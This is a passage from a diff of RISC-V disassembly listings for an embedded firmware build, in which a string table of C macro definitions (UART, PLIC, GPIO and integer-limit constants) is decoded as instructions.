+     3f4:	205f 7830 6637      	0x66377830205f
+     3fa:	6666                	flw	fa2,88(sp)
+     3fc:	6666                	flw	fa2,88(sp)
+     3fe:	6666                	flw	fa2,88(sp)
+     400:	4900                	lw	s0,16(a0)
+     402:	544e                	lw	s0,240(sp)
+     404:	3436                	fld	fs0,360(sp)
+     406:	4d5f 4e49 2820      	0x28204e494d5f
+     40c:	492d                	li	s2,11
+     40e:	544e                	lw	s0,240(sp)
+     410:	3436                	fld	fs0,360(sp)
+     412:	4d5f 5841 2d20      	0x2d2058414d5f
+     418:	3120                	fld	fs0,96(a0)
+     41a:	0029                	c.nop	10
+     41c:	495f 544e 414d      	0x414d544e495f
+     422:	5f58                	lw	a4,60(a4)
+     424:	5f54                	lw	a3,60(a4)
+     426:	4544                	lw	s1,12(a0)
+     428:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+     42c:	4445                	li	s0,17
+     42e:	0020                	addi	s0,sp,8
+     430:	5f5f 4c46 3654      	0x36544c465f5f
+     436:	5f34                	lw	a3,120(a4)
+     438:	494d                	li	s2,19
+     43a:	5f4e                	lw	t5,240(sp)
+     43c:	3031                	jal	fffffc48 <_heap_end+0x7fff1448>
+     43e:	455f 5058 5f5f      	0x5f5f5058455f
+     444:	2820                	fld	fs0,80(s0)
+     446:	332d                	jal	170 <__stack_size-0x690>
+     448:	3730                	fld	fa2,104(a4)
+     44a:	0029                	c.nop	10
+     44c:	5442                	lw	s0,48(sp)
+     44e:	314e                	fld	ft2,240(sp)
+     450:	3320                	fld	fs0,96(a4)
+     452:	0030                	addi	a2,sp,8
+     454:	5f5f 4e47 4355      	0x43554e475f5f
+     45a:	494c                	lw	a1,20(a0)
+     45c:	425f454b          	fnmsub.d	fa0,ft10,ft5,fs0,rmm
+     460:	4955                	li	s2,21
+     462:	544c                	lw	a1,44(s0)
+     464:	4e49                	li	t3,18
+     466:	435f 4e4f 5453      	0x54534e4f435f
+     46c:	4e41                	li	t3,16
+     46e:	5f54                	lw	a3,60(a4)
+     470:	2050                	fld	fa2,128(s0)
+     472:	0031                	c.nop	12
+     474:	5f5f 6975 746e      	0x746e69755f5f
+     47a:	5f38                	lw	a4,120(a4)
+     47c:	0074                	addi	a3,sp,12
+     47e:	535f 5f43 4854      	0x48545f43535f
+     484:	4552                	lw	a0,20(sp)
+     486:	4441                	li	s0,16
+     488:	505f 4952 524f      	0x524f4952505f
+     48e:	5449                	li	s0,-14
+     490:	5f59                	li	t5,-10
+     492:	45484353          	0x45484353
+     496:	5544                	lw	s1,44(a0)
+     498:	494c                	lw	a1,20(a0)
+     49a:	474e                	lw	a4,208(sp)
+     49c:	3420                	fld	fs0,104(s0)
+     49e:	0035                	c.nop	13
+     4a0:	5f5f 4357 4148      	0x414843575f5f
+     4a6:	5f52                	lw	t5,52(sp)
+     4a8:	5954                	lw	a3,52(a0)
+     4aa:	4550                	lw	a2,12(a0)
+     4ac:	5f5f 6920 746e      	0x746e69205f5f
+     4b2:	5500                	lw	s0,40(a0)
+     4b4:	4e49                	li	t3,18
+     4b6:	5f54                	lw	a3,60(a4)
+     4b8:	4146                	lw	sp,80(sp)
+     4ba:	34365453          	0x34365453
+     4be:	4d5f 5841 5f00      	0x5f0058414d5f
+     4c4:	705f 6972 746e      	0x746e6972705f
+     4ca:	6c66                	flw	fs8,88(sp)
+     4cc:	6b69                	lui	s6,0x1a
+     4ce:	2865                	jal	586 <__stack_size-0x27a>
+     4d0:	6d66                	flw	fs10,88(sp)
+     4d2:	6174                	flw	fa3,68(a0)
+     4d4:	6772                	flw	fa4,28(sp)
+     4d6:	662c                	flw	fa1,72(a2)
+     4d8:	7269                	lui	tp,0xffffa
+     4da:	61767473          	csrrci	s0,0x617,12
+     4de:	6172                	flw	ft2,28(sp)
+     4e0:	6772                	flw	fa4,28(sp)
+     4e2:	2029                	jal	4ec <__stack_size-0x314>
+     4e4:	5f5f 7461 7274      	0x727474615f5f
+     4ea:	6269                	lui	tp,0x1a
+     4ec:	7475                	lui	s0,0xffffd
+     4ee:	5f65                	li	t5,-7
+     4f0:	285f 5f28 665f      	0x665f5f28285f
+     4f6:	616d726f          	jal	tp,d7b0c <__stack_size+0xd730c>
+     4fa:	5f74                	lw	a3,124(a4)
+     4fc:	205f 5f28 705f      	0x705f5f28205f
+     502:	6972                	flw	fs2,28(sp)
+     504:	746e                	flw	fs0,248(sp)
+     506:	5f66                	lw	t5,120(sp)
+     508:	2c5f 6620 746d      	0x746d66202c5f
+     50e:	7261                	lui	tp,0xffff8
+     510:	66202c67          	0x66202c67
+     514:	7269                	lui	tp,0xffffa
+     516:	61767473          	csrrci	s0,0x617,12
+     51a:	6172                	flw	ft2,28(sp)
+     51c:	6772                	flw	fa4,28(sp)
+     51e:	2929                	jal	938 <__stack_size+0x138>
+     520:	0029                	c.nop	10
+     522:	5f5f 5453 4344      	0x434454535f5f
+     528:	5f5f 3120 5f00      	0x5f0031205f5f
+     52e:	754e                	flw	fa0,240(sp)
+     530:	6c6c                	flw	fa1,92(s0)
+     532:	755f 736e 6570      	0x6570736e755f
+     538:	69666963          	bltu	a2,s6,bca <__stack_size+0x3ca>
+     53c:	6465                	lui	s0,0x19
+     53e:	0020                	addi	s0,sp,8
+     540:	4355                	li	t1,21
+     542:	4148                	lw	a0,4(a0)
+     544:	5f52                	lw	t5,52(sp)
+     546:	414d                	li	sp,19
+     548:	2058                	fld	fa4,128(s0)
+     54a:	5328                	lw	a0,96(a4)
+     54c:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+     550:	4d5f 5841 2a20      	0x2a2058414d5f
+     556:	3220                	fld	fs0,96(a2)
+     558:	2b20                	fld	fs0,80(a4)
+     55a:	3120                	fld	fs0,96(a0)
+     55c:	0029                	c.nop	10
+     55e:	6566                	flw	fa0,88(sp)
+     560:	7272                	flw	ft4,60(sp)
+     562:	755f726f          	jal	tp,f84b6 <__stack_size+0xf7cb6>
+     566:	6c6e                	flw	fs8,216(sp)
+     568:	656b636f          	jal	t1,b6bbe <__stack_size+0xb63be>
+     56c:	2864                	fld	fs1,208(s0)
+     56e:	2970                	fld	fa2,208(a0)
+     570:	5f20                	lw	s0,120(a4)
+     572:	735f 6566 7272      	0x72726566735f
+     578:	7028726f          	jal	tp,87c7a <__stack_size+0x8747a>
+     57c:	0029                	c.nop	10
+     57e:	525f 4145 5f44      	0x5f444145525f
+     584:	54495257          	0x54495257
+     588:	5f45                	li	t5,-15
+     58a:	5542                	lw	a0,48(sp)
+     58c:	5346                	lw	t1,112(sp)
+     58e:	5a49                	li	s4,-14
+     590:	5f45                	li	t5,-15
+     592:	5954                	lw	a3,52(a0)
+     594:	4550                	lw	a2,12(a0)
+     596:	6920                	flw	fs0,80(a0)
+     598:	746e                	flw	fs0,248(sp)
+     59a:	5f00                	lw	s0,56(a4)
+     59c:	505f4353          	0x505f4353
+     5a0:	4741                	li	a4,16
+     5a2:	5f45                	li	t5,-15
+     5a4:	455a4953          	0x455a4953
+     5a8:	5f20                	lw	s0,120(a4)
+     5aa:	505f4353          	0x505f4353
+     5ae:	4741                	li	a4,16
+     5b0:	5345                	li	t1,-15
+     5b2:	5a49                	li	s4,-14
+     5b4:	0045                	c.nop	17
+     5b6:	5f5f 4c46 3354      	0x33544c465f5f
+     5bc:	5f32                	lw	t5,44(sp)
+     5be:	414d                	li	sp,19
+     5c0:	5f58                	lw	a4,60(a4)
+     5c2:	5845                	li	a6,-15
+     5c4:	5f50                	lw	a2,60(a4)
+     5c6:	205f 3231 0038      	0x383231205f
+     5cc:	4155                	li	sp,21
+     5ce:	5452                	lw	s0,52(sp)
+     5d0:	525f 4658 4649      	0x46494658525f
+     5d6:	7830204f          	fnmadd.s	ft0,ft0,ft3,fa5,rdn
+     5da:	3430                	fld	fa2,104(s0)
+     5dc:	5f00                	lw	s0,56(a4)
+     5de:	535f 524f 2044      	0x2044524f535f
+     5e4:	7830                	flw	fa2,112(s0)
+     5e6:	3032                	fld	ft0,296(sp)
+     5e8:	3030                	fld	fa2,96(s0)
+     5ea:	5000                	lw	s0,32(s0)
+     5ec:	494c                	lw	a1,20(a0)
+     5ee:	52505f43          	fmadd.d	ft10,ft0,ft5,fa0,unknown
+     5f2:	5f49                	li	t5,-14
+     5f4:	46494853          	0x46494853
+     5f8:	5f54                	lw	a3,60(a4)
+     5fa:	4550                	lw	a2,12(a0)
+     5fc:	5f52                	lw	t5,52(sp)
+     5fe:	52554f53          	0x52554f53
+     602:	32204543          	fmadd.d	fa0,ft0,ft2,ft6,rmm
+     606:	5f00                	lw	s0,56(a4)
+     608:	555f 4e49 3654      	0x36544e49555f
+     60e:	5f34                	lw	a3,120(a4)
+     610:	5954                	lw	a3,52(a0)
+     612:	4550                	lw	a2,12(a0)
+     614:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
+     61a:	6f6c2067          	0x6f6c2067
+     61e:	676e                	flw	fa4,216(sp)
+     620:	7520                	flw	fs0,104(a0)
+     622:	736e                	flw	ft6,248(sp)
+     624:	6769                	lui	a4,0x1a
+     626:	656e                	flw	fa0,216(sp)
+     628:	2064                	fld	fs1,192(s0)
+     62a:	6e69                	lui	t3,0x1a
+     62c:	0074                	addi	a3,sp,12
+     62e:	52495f53          	0x52495f53
+     632:	2048544f          	fnmadd.s	fs0,fa6,ft4,ft4,unknown
+     636:	3030                	fld	fa2,96(s0)
+     638:	3030                	fld	fa2,96(s0)
+     63a:	3030                	fld	fa2,96(s0)
+     63c:	0034                	addi	a3,sp,8
+     63e:	5f5f 4244 5f4c      	0x5f4c42445f5f
+     644:	414d                	li	sp,19
+     646:	5f58                	lw	a4,60(a4)
+     648:	3031                	jal	fffffe54 <_heap_end+0x7fff1654>
+     64a:	455f 5058 5f5f      	0x5f5f5058455f
+     650:	3320                	fld	fs0,96(a4)
+     652:	3830                	fld	fa2,112(s0)
+     654:	4300                	lw	s0,0(a4)
+     656:	4d5f5253          	0x4d5f5253
+     65a:	5048                	lw	a0,36(s0)
+     65c:	434d                	li	t1,19
+     65e:	544e554f          	0x544e554f
+     662:	5245                	li	tp,-15
+     664:	3732                	fld	fa4,296(sp)
+     666:	3220                	fld	fs0,96(a2)
+     668:	0032                	c.slli	zero,0xc
+     66a:	4e49                	li	t3,18
+     66c:	5f54                	lw	a3,60(a4)
+     66e:	454c                	lw	a1,12(a0)
+     670:	5341                	li	t1,-16
+     672:	3354                	fld	fa3,160(a4)
+     674:	5f32                	lw	t5,44(sp)
+     676:	494d                	li	s2,19
+     678:	004e                	c.slli	zero,0x13
+     67a:	5f5f 4955 544e      	0x544e49555f5f
+     680:	465f 5341 3654      	0x36545341465f
+     686:	5f34                	lw	a3,120(a4)
+     688:	414d                	li	sp,19
+     68a:	5f58                	lw	a4,60(a4)
+     68c:	205f 7830 6666      	0x66667830205f
+     692:	6666                	flw	fa2,88(sp)
+     694:	6666                	flw	fa2,88(sp)
+     696:	6666                	flw	fa2,88(sp)
+     698:	6666                	flw	fa2,88(sp)
+     69a:	6666                	flw	fa2,88(sp)
+     69c:	6666                	flw	fa2,88(sp)
+     69e:	6666                	flw	fa2,88(sp)
+     6a0:	4c55                	li	s8,21
+     6a2:	004c                	addi	a1,sp,4
+     6a4:	4c55                	li	s8,21
+     6a6:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+     6aa:	4f4c                	lw	a1,28(a4)
+     6ac:	474e                	lw	a4,208(sp)
+     6ae:	4d5f 5841 5f00      	0x5f0058414d5f
+     6b4:	6d5f 6c61 6f6c      	0x6f6c6c616d5f
+     6ba:	696c5f63          	bge	s8,s6,d58 <__stack_size+0x558>
+     6be:	5f20656b          	0x5f20656b
+     6c2:	615f 7474 6972      	0x69727474615f
+     6c8:	7562                	flw	fa0,56(sp)
+     6ca:	6574                	flw	fa3,76(a0)
+     6cc:	5f5f 2828 5f5f      	0x5f5f28285f5f
+     6d2:	616d                	addi	sp,sp,240
+     6d4:	6c6c                	flw	fa1,92(s0)
+     6d6:	5f5f636f          	jal	t1,f74ca <__stack_size+0xf6cca>
+     6da:	2929                	jal	af4 <__stack_size+0x2f4>
+     6dc:	5f00                	lw	s0,56(a4)
+     6de:	475f 554e 4c43      	0x4c43554e475f
+     6e4:	4b49                	li	s6,18
+     6e6:	5f45                	li	t5,-15
+     6e8:	5f5f 5954 4550      	0x455059545f5f
+     6ee:	3120464f          	fnmadd.s	fa2,ft0,fs2,ft6,rmm
+     6f2:	5f00                	lw	s0,56(a4)
+     6f4:	545f4353          	0x545f4353
+     6f8:	5248                	lw	a0,36(a2)
+     6fa:	4145                	li	sp,17
+     6fc:	5f44                	lw	s1,60(a4)
+     6fe:	45464153          	0x45464153
+     702:	465f 4e55 5443      	0x54434e55465f
+     708:	4f49                	li	t5,18
+     70a:	534e                	lw	t1,240(sp)
+     70c:	3420                	fld	fs0,104(s0)
+     70e:	0039                	c.nop	14
+     710:	535f 5f43 4f58      	0x4f585f43535f
+     716:	4550                	lw	a2,12(a0)
+     718:	5f4e                	lw	t5,240(sp)
+     71a:	5555                	li	a0,-11
+     71c:	31205043          	fmadd.s	ft0,ft0,fs2,ft6,unknown
+     720:	3432                	fld	fs0,296(sp)
+     722:	5f00                	lw	s0,56(a4)
+     724:	445f 4c42 4d5f      	0x4d5f4c42445f
+     72a:	4e49                	li	t3,18
+     72c:	5f5f 2820 6428      	0x642828205f5f
+     732:	6c62756f          	jal	a0,27df8 <__stack_size+0x275f8>
+     736:	2965                	jal	bee <__stack_size+0x3ee>
+     738:	2e32                	fld	ft8,264(sp)
+     73a:	3232                	fld	ft4,296(sp)
+     73c:	3035                	jal	ffffff68 <_heap_end+0x7fff1768>
+     73e:	35383337          	lui	t1,0x35383
+     742:	3538                	fld	fa4,104(a0)
+     744:	3730                	fld	fa2,104(a4)
+     746:	3032                	fld	ft0,296(sp)
+     748:	3331                	jal	454 <__stack_size-0x3ac>
+     74a:	3338                	fld	fa4,96(a4)
+     74c:	3930                	fld	fa2,112(a0)
+     74e:	3230                	fld	fa2,96(a2)
+     750:	31373233          	0x31373233
+     754:	32333337          	lui	t1,0x32333
+     758:	3034                	fld	fa3,96(s0)
+     75a:	3034                	fld	fa3,96(s0)
+     75c:	6536                	flw	fa0,76(sp)
+     75e:	332d                	jal	488 <__stack_size-0x378>
+     760:	3830                	fld	fa2,112(s0)
+     762:	294c                	fld	fa1,144(a0)
+     764:	5f00                	lw	s0,56(a4)
+     766:	535f 5a49 4f45      	0x4f455a49535f
+     76c:	5f46                	lw	t5,112(sp)
+     76e:	4f4c                	lw	a1,28(a4)
+     770:	474e                	lw	a4,208(sp)
+     772:	5f5f 3420 5f00      	0x5f0034205f5f
+     778:	6e5f 6565 5f64      	0x5f6465656e5f
+     77e:	746e6977          	0x746e6977
+     782:	745f 0020 475f      	0x475f0020745f
+     788:	4e5f4343          	fmadd.q	ft6,ft10,ft5,fs1,rmm
+     78c:	5845                	li	a6,-15
+     78e:	5f54                	lw	a3,60(a4)
+     790:	494c                	lw	a1,20(a0)
+     792:	494d                	li	s2,19
+     794:	5354                	lw	a3,36(a4)
+     796:	485f 0020 5f5f      	0x5f5f0020485f
+     79c:	41484357          	0x41484357
+     7a0:	5f52                	lw	t5,52(sp)
+     7a2:	5f54                	lw	a3,60(a4)
+     7a4:	205f 5500 5241      	0x52415500205f
+     7aa:	5f54                	lw	a3,60(a4)
+     7ac:	4944                	lw	s1,20(a0)
+     7ae:	2056                	fld	ft0,336(sp)
+     7b0:	7830                	flw	fa2,112(s0)
+     7b2:	3831                	jal	ffffffce <_heap_end+0x7fff17ce>
+     7b4:	4700                	lw	s0,8(a4)
+     7b6:	4950                	lw	a2,20(a0)
+     7b8:	52445f4f          	fnmadd.d	ft10,fs0,ft4,fa0,unknown
+     7bc:	5649                	li	a2,-14
+     7be:	2045                	jal	85e <__stack_size+0x5e>
+     7c0:	7830                	flw	fa2,112(s0)
+     7c2:	3431                	jal	1ce <__stack_size-0x632>
+     7c4:	7000                	flw	fs0,32(s0)
+     7c6:	7968                	flw	fa0,116(a0)
+     7c8:	72646173          	csrrsi	sp,0x726,8
+     7cc:	7020                	flw	fs0,96(s0)
+     7ce:	7968                	flw	fa0,116(a0)
+     7d0:	72646173          	csrrsi	sp,0x726,8
+     7d4:	745f 5f00 6e5f      	0x6e5f5f00745f
+     7da:	6565                	lui	a0,0x19
+     7dc:	5f64                	lw	s1,124(a4)
+     7de:	5f5f 6176 6c5f      	0x6c5f61765f5f
+     7e4:	7369                	lui	t1,0xffffa
+     7e6:	0074                	addi	a3,sp,12
+     7e8:	5f5f 4156 494c      	0x494c41565f5f
+     7ee:	5f205453          	0x5f205453
+     7f2:	675f 756e 5f63      	0x5f63756e675f
+     7f8:	6176                	flw	ft2,92(sp)
+     7fa:	6c5f 7369 0074      	0x7473696c5f
+     800:	5f555043          	fmadd.q	ft0,fa0,fs5,fa1,unknown
+     804:	5246                	lw	tp,112(sp)
+     806:	5145                	li	sp,-15
+     808:	3620                	fld	fs0,104(a2)
+     80a:	3934                	fld	fa3,112(a0)
+     80c:	3839                	jal	2a <__stack_size-0x7d6>
+     80e:	3434                	fld	fa3,104(s0)
+     810:	0032                	c.slli	zero,0xc
+     812:	7571                	lui	a0,0xffffc
+     814:	6461                	lui	s0,0x18
+     816:	7120                	flw	fs0,96(a0)
+     818:	6175                	addi	sp,sp,368
+     81a:	5f64                	lw	s1,124(a4)
+     81c:	0074                	addi	a3,sp,12
+     81e:	454c                	lw	a1,12(a0)
+     820:	5f44                	lw	s1,60(a4)
+     822:	4c42                	lw	s8,16(sp)
+     824:	4555                	li	a0,21
+     826:	3320                	fld	fs0,96(a4)
+     828:	5300                	lw	s0,32(a4)
+     82a:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+     82e:	4d5f 5841 5f20      	0x5f2058414d5f
+     834:	535f 4843 5241      	0x52414843535f
+     83a:	4d5f 5841 5f5f      	0x5f5f58414d5f
+     840:	5300                	lw	s0,32(a4)
+     842:	4749                	li	a4,18
+     844:	415f 4f54 494d      	0x494d4f54415f
+     84a:	494d5f43          	fmadd.s	ft10,fs10,fs4,fs1,unknown
+     84e:	004e                	c.slli	zero,0x13
+     850:	5f5f 4853 5452      	0x545248535f5f
+     856:	575f 4449 4854      	0x48544449575f
+     85c:	5f5f 3120 0036      	0x3631205f5f
+     862:	4955                	li	s2,21
+     864:	544e                	lw	s0,240(sp)
+     866:	4d5f 5841 2820      	0x282058414d5f
+     86c:	4e49                	li	t3,18
+     86e:	5f54                	lw	a3,60(a4)
+     870:	414d                	li	sp,19
+     872:	2058                	fld	fa4,128(s0)
+     874:	202a                	fld	ft0,136(sp)
+     876:	5532                	lw	a0,44(sp)
+     878:	2b20                	fld	fs0,80(a4)
+     87a:	3120                	fld	fs0,96(a0)
+     87c:	2955                	jal	d30 <__stack_size+0x530>
+     87e:	5f00                	lw	s0,56(a4)
+     880:	505f 7028 6f72      	0x6f727028505f
+     886:	6f74                	flw	fa3,92(a4)
+     888:	70202973          	csrr	s2,0x702
+     88c:	6f72                	flw	ft10,28(sp)
+     88e:	6f74                	flw	fa3,92(a4)
+     890:	5f5f0073          	0x5f5f0073
+     894:	4e49                	li	t3,18
+     896:	5054                	lw	a3,36(s0)
+     898:	5254                	lw	a3,36(a2)
+     89a:	545f 5059 5f45      	0x5f455059545f
+     8a0:	205f 6e69 0074      	0x746e69205f
+     8a6:	5f5f 695f 746e      	0x746e695f5f5f
+     8ac:	6c5f 6165 7473      	0x747361656c5f
+     8b2:	745f3233          	0x745f3233
+     8b6:	645f 6665 6e69      	0x6e696665645f
+     8bc:	6465                	lui	s0,0x19
+     8be:	3120                	fld	fs0,96(a0)
+     8c0:	4600                	lw	s0,8(a2)
+     8c2:	5845                	li	a6,-15
+     8c4:	5f204c43          	fmadd.q	fs8,ft0,fs2,fa1,rmm
+     8c8:	4546                	lw	a0,80(sp)
+     8ca:	4358                	lw	a4,4(a4)
+     8cc:	004c                	addi	a1,sp,4
+     8ce:	74727473          	csrrci	s0,0x747,4
+     8d2:	2066646f          	jal	s0,66ad8 <__stack_size+0x662d8>
+     8d6:	74727473          	csrrci	s0,0x747,4
+     8da:	5f00666f          	jal	a2,6eca <__stack_size+0x66ca>
+     8de:	495f 544e 465f      	0x465f544e495f
+     8e4:	5341                	li	t1,-16
+     8e6:	3154                	fld	fa3,160(a0)
+     8e8:	5f36                	lw	t5,108(sp)
+     8ea:	54444957          	0x54444957
+     8ee:	5f48                	lw	a0,60(a4)
+     8f0:	205f 3233 5f00      	0x5f003233205f
+     8f6:	465f 544c 485f      	0x485f544c465f
+     8fc:	5341                	li	t1,-16
+     8fe:	495f 464e 4e49      	0x4e49464e495f
+     904:	5449                	li	s0,-14
+     906:	5f59                	li	t5,-10
+     908:	205f 0031 475f      	0x475f0031205f
+     90e:	4f4c                	lw	a1,28(a4)
+     910:	4142                	lw	sp,16(sp)
+     912:	5f4c                	lw	a1,60(a4)
+     914:	4552                	lw	a0,20(sp)
+     916:	4e45                	li	t3,17
+     918:	2054                	fld	fa3,128(s0)
+     91a:	675f 6f6c 6162      	0x61626f6c675f
+     920:	5f6c                	lw	a1,124(a4)
+     922:	6d69                	lui	s10,0x1a
+     924:	7570                	flw	fa2,108(a0)
+     926:	6572                	flw	fa0,28(sp)
+     928:	705f 7274 5f00      	0x5f007274705f
+     92e:	465f 544c 3231      	0x3231544c465f
+     934:	5f38                	lw	a4,120(a4)
+     936:	494d                	li	s2,19
+     938:	5f4e                	lw	t5,240(sp)
+     93a:	3031                	jal	146 <__stack_size-0x6ba>
+     93c:	455f 5058 5f5f      	0x5f5f5058455f
+     942:	2820                	fld	fs0,80(s0)
+     944:	342d                	jal	36e <__stack_size-0x492>
+     946:	3339                	jal	654 <__stack_size-0x1ac>
+     948:	2931                	jal	d64 <__stack_size+0x564>
+     94a:	5f00                	lw	s0,56(a4)
+     94c:	4552                	lw	a0,20(sp)
+     94e:	28363147          	fmsub.s	ft2,fa2,ft3,ft5,rup
+     952:	6162                	flw	ft2,24(sp)
+     954:	6f2c6573          	csrrsi	a0,0x6f2,24
+     958:	6666                	flw	fa2,88(sp)
+     95a:	29746573          	csrrsi	a0,0x297,8
+     95e:	2820                	fld	fs0,80(s0)
+     960:	282a                	fld	fa6,136(sp)
+     962:	6f76                	flw	ft10,92(sp)
+     964:	616c                	flw	fa1,68(a0)
+     966:	6974                	flw	fa3,84(a0)
+     968:	656c                	flw	fa1,76(a0)
+     96a:	7520                	flw	fs0,104(a0)
+     96c:	6e69                	lui	t3,0x1a
+     96e:	3174                	fld	fa3,224(a0)
+     970:	5f36                	lw	t5,108(sp)
+     972:	2074                	fld	fa3,192(s0)
+     974:	292a                	fld	fs2,136(sp)
+     976:	2828                	fld	fa0,80(s0)
+     978:	6162                	flw	ft2,24(sp)
+     97a:	20296573          	csrrsi	a0,hedeleg,18
+     97e:	6f28202b          	0x6f28202b
+     982:	6666                	flw	fa2,88(sp)
+     984:	29746573          	csrrsi	a0,0x297,8
+     988:	2929                	jal	da2 <__stack_size+0x5a2>
+     98a:	5f00                	lw	s0,56(a4)
+     98c:	725f 7369 7663      	0x76637369725f
+     992:	665f 6f6c 7461      	0x74616f6c665f
+     998:	615f 6962 735f      	0x735f6962615f
+     99e:	2074666f          	jal	a2,473a4 <__stack_size+0x46ba4>
+     9a2:	0031                	c.nop	12
+     9a4:	4e49                	li	t3,18
+     9a6:	5f54                	lw	a3,60(a4)
+     9a8:	4146                	lw	sp,80(sp)
+     9aa:	34365453          	0x34365453
+     9ae:	4d5f 5841 5f20      	0x5f2058414d5f
+     9b4:	495f 544e 465f      	0x465f544e495f
+     9ba:	5341                	li	t1,-16
+     9bc:	3654                	fld	fa3,168(a2)
+     9be:	5f34                	lw	a3,120(a4)
+     9c0:	414d                	li	sp,19
+     9c2:	5f58                	lw	a4,60(a4)
+     9c4:	005f 505f 4854      	0x4854505f005f
+     9ca:	4552                	lw	a0,20(sp)
+     9cc:	4441                	li	s0,16
+     9ce:	4d5f 5455 5845      	0x584554554d5f
+     9d4:	495f 494e 4954      	0x4954494e495f
+     9da:	4c41                	li	s8,16
+     9dc:	5a49                	li	s4,-14
+     9de:	5245                	li	tp,-15
+     9e0:	2820                	fld	fs0,80(s0)
+     9e2:	7028                	flw	fa0,96(s0)
+     9e4:	6874                	flw	fa3,84(s0)
+     9e6:	6572                	flw	fa0,28(sp)
+     9e8:	6461                	lui	s0,0x18
+     9ea:	6d5f 7475 7865      	0x786574756d5f
+     9f0:	745f 2029 7830      	0x78302029745f
+     9f6:	4646                	lw	a2,80(sp)
+     9f8:	4646                	lw	a2,80(sp)
+     9fa:	4646                	lw	a2,80(sp)
+     9fc:	4646                	lw	a2,80(sp)
+     9fe:	0029                	c.nop	10
+     a00:	4e49                	li	t3,18
+     a02:	5f54                	lw	a3,60(a4)
+     a04:	494d                	li	s2,19
+     a06:	204e                	fld	ft0,208(sp)
+     a08:	2d28                	fld	fa0,88(a0)
+     a0a:	4e49                	li	t3,18
+     a0c:	5f54                	lw	a3,60(a4)
+     a0e:	414d                	li	sp,19
+     a10:	2058                	fld	fa4,128(s0)
+     a12:	202d                	jal	a3c <__stack_size+0x23c>
+     a14:	2931                	jal	e30 <__stack_size+0x630>
+     a16:	5f00                	lw	s0,56(a4)
+     a18:	5355                	li	t1,-11
+     a1a:	4345                	li	t1,17
+     a1c:	53444e4f          	fnmadd.d	ft8,fs0,fs4,fa0,rmm
+     a20:	545f 445f 4345      	0x4345445f545f
+     a26:	414c                	lw	a1,4(a0)
+     a28:	4552                	lw	a0,20(sp)
+     a2a:	2044                	fld	fs1,128(s0)
+     a2c:	5f00                	lw	s0,56(a4)
+     a2e:	435f4353          	0x435f4353
+     a32:	4948                	lw	a0,20(a0)
+     a34:	444c                	lw	a1,12(s0)
+     a36:	4d5f 5841 3120      	0x312058414d5f
+     a3c:	5f00                	lw	s0,56(a4)
+     a3e:	705f 6572 6964      	0x69646572705f
+     a44:	745f7463          	bgeu	t5,t0,118c <__stack_size+0x98c>
+     a48:	7572                	flw	fa0,60(sp)
+     a4a:	2865                	jal	b02 <__stack_size+0x302>
+     a4c:	7865                	lui	a6,0xffff9
+     a4e:	2970                	fld	fa2,208(a0)
+     a50:	5f20                	lw	s0,120(a4)
+     a52:	625f 6975 746c      	0x746c6975625f
+     a58:	6e69                	lui	t3,0x1a
+     a5a:	655f 7078 6365      	0x63657078655f
+     a60:	2874                	fld	fa3,208(s0)
+     a62:	6528                	flw	fa0,72(a0)
+     a64:	7078                	flw	fa4,100(s0)
+     a66:	2c29                	jal	c80 <__stack_size+0x480>
+     a68:	3120                	fld	fs0,96(a0)
+     a6a:	0029                	c.nop	10
+     a6c:	52495f53          	0x52495f53
+     a70:	204f5857          	0x204f5857
+     a74:	5328                	lw	a0,96(a4)
+     a76:	495f 4f52 4854      	0x48544f52495f
+     a7c:	7c20                	flw	fs0,120(s0)
+     a7e:	5320                	lw	s0,96(a4)
+     a80:	495f 4f57 4854      	0x48544f57495f
+     a86:	7c20                	flw	fs0,120(s0)
+     a88:	5320                	lw	s0,96(a4)
+     a8a:	495f 4f58 4854      	0x48544f58495f
+     a90:	0029                	c.nop	10
+     a92:	5f5f 6c61 6769      	0x67696c615f5f
+     a98:	656e                	flw	fa0,216(sp)
+     a9a:	2864                	fld	fs1,208(s0)
+     a9c:	2978                	fld	fa4,208(a0)
+     a9e:	5f20                	lw	s0,120(a4)
+     aa0:	615f 7474 6972      	0x69727474615f
+     aa6:	7562                	flw	fa0,56(sp)
+     aa8:	6574                	flw	fa3,76(a0)
+     aaa:	5f5f 2828 5f5f      	0x5f5f28285f5f
+     ab0:	6c61                	lui	s8,0x18
+     ab2:	6769                	lui	a4,0x1a
+     ab4:	656e                	flw	fa0,216(sp)
+     ab6:	5f64                	lw	s1,124(a4)
+     ab8:	285f 2978 2929      	0x29292978285f
+     abe:	5f00                	lw	s0,56(a4)
+     ac0:	585f4353          	0x585f4353
+     ac4:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
+     ac8:	525f 4145 544c      	0x544c4145525f
+     ace:	4d49                	li	s10,18
+     ad0:	2045                	jal	b70 <__stack_size+0x370>
+     ad2:	3939                	jal	6f0 <__stack_size-0x110>
+     ad4:	5f00                	lw	s0,56(a4)
+     ad6:	4c5f4353          	0x4c5f4353
+     ada:	5645                	li	a2,-15
+     adc:	4c45                	li	s8,17
+     ade:	41435f33          	sra	t5,t1,s4
+     ae2:	5f454843          	fmadd.q	fa6,fa0,fs4,fa1,rmm
+     ae6:	455a4953          	0x455a4953
+     aea:	3120                	fld	fs0,96(a0)
+     aec:	5f003433          	0x5f003433
+     af0:	5f54                	lw	a3,60(a4)
+     af2:	5450                	lw	a2,44(s0)
+     af4:	4452                	lw	s0,20(sp)
+     af6:	4649                	li	a2,18
+     af8:	5f46                	lw	t5,112(sp)
+     afa:	0020                	addi	s0,sp,8
+     afc:	5f5f 444c 4c42      	0x4c42444c5f5f
+     b02:	445f 4749 5f5f      	0x5f5f4749445f
+     b08:	3320                	fld	fs0,96(a4)
+     b0a:	49420033          	0x49420033
+     b0e:	4e455f47          	fmsub.q	ft10,fa0,ft4,fs1,unknown
+     b12:	4944                	lw	s1,20(a0)
+     b14:	4e41                	li	t3,16
      b16:	5f20                	lw	s0,120(a4)
-     b18:	615f 7474 6972      	0x69727474615f
-     b1e:	7562                	flw	fa0,56(sp)
-     b20:	6574                	flw	fa3,76(a0)
-     b22:	5f5f 2828 5f5f      	0x5f5f28285f5f
-     b28:	6c61                	lui	s8,0x18
-     b2a:	6769                	lui	a4,0x1a
-     b2c:	656e                	flw	fa0,216(sp)
-     b2e:	5f64                	lw	s1,124(a4)
